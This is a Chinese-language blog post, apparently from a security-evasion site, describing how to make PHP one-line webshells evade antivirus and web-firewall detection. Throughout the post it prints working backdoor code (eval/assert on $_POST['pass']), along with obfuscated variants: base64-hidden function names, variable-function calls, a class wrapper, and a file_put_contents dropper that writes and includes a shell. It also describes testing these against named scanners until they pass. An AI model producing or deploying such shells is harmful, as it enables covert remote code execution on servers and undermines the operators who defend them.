php免杀小马有哪些常见类型？老手带你了解不同种类！

发布日期： 2025-10-07 阅读量： 作者： admin

今天就来聊聊我最近折腾php免杀小马的过程。主要是现在随便一个普通的一句话木马，比如就那个最常见的<?php eval($_POST['pass']); ?>，基本上是个杀毒软件或者网站防火墙就能认出来，直接就给干掉了，用都没法用。

所以我就寻思着，得想点办法让它不容易被发现。我的思路很简单，就是想办法让代码看起来不像个坏东西。

第一步：藏关键字

我最开始想到的就是，eval这个函数太明显了，能不能把它藏起来？

试了试用变量函数：比如我搞个变量 $a = 'eval'; 然后再执行 $a($_POST['pass']);。这个稍微好点，但很多厉害点的防火墙也能分析出来这种调用方式。
换个函数试试：PHP能执行代码的函数也不少，比如assert。我就把eval换成了assert。这个有时候能过一些简单的检测，但assert也是个重点监控对象，效果也就那样。
字符串变形：我还试了把'eval'这个字符串拆开或者编码一下，比如用base64编码，用的时候再解码出来。像这样 $func = base64_decode('ZXZhbA=='); $func($_POST['pass']);。稍微能绕过一些基于固定字符串匹配的规则。

这一通下来，感觉效果一般般，稍微智能点的检测还是能抓到。

光藏关键字不行，我就想，能不能把整个代码的结构搞得复杂点，让它不容易被识别出来？

用函数包装：我试着把执行代码的操作放到一个自定义函数里面，然后再调用这个函数。或者用一些PHP自带的不常用的函数来间接执行，比如call_user_func 或者 array_map 之类的，把 'assert' 或者构造好的变量函数名传进去。
利用类：看到网上有人说用类包裹起来能绕过，我也试了试。大概就是定义一个类，把执行代码的操作放到类的方法里面，然后实例化这个类再调用方法。比如：
class MyShell { public function run($cmd) { assert($cmd); } } $shell = new MyShell(); $shell->run($_POST['pass']);

这种方式有时候确实能骗过一些检测工具，可能是因为它们对类的分析没那么深入。
文件包含：还有个思路是，主文件看起来人畜无害，但它会偷偷写一个包含恶意代码的小文件到服务器上，然后再去include或者require那个小文件。这样检测主文件的时候可能就发现不了问题。比如用file_put_contents写一个.php文件，内容是<?php assert($_POST['pass']); ?>，然后在主文件里包含它。

单一的方法效果有限，我就开始把上面想到的几种方法组合起来用。比如，先用base64编码assert，再用变量函数的方式调用，并且把整个过程封装到一个类的方法里。

搞完这些变形，最重要的就是测试了。我找了几个常见的查杀工具，比如像D盾、安全狗这些，把我修改后的代码放进去扫一扫，看看报不报毒。

搞这个php免杀小马，就是个不断试错、不断变形的过程。你得了解那些查杀工具和WAF大概是怎么检测的，然后针对性地去修改你的代码，让它看起来不像个后门。常用的方法就是藏关键字、改结构、用各种PHP不常用的特性或者函数来绕。

这玩意儿没有一劳永逸的办法。你搞出一个能过的，可能过段时间人家规则一更新，就又不行了。就是个猫捉老鼠的游戏。我这回实践也就是记录下自己尝试的过程和一些思路，希望能躲过一些基础的检测。更高级的对抗那就更复杂了，还得继续研究。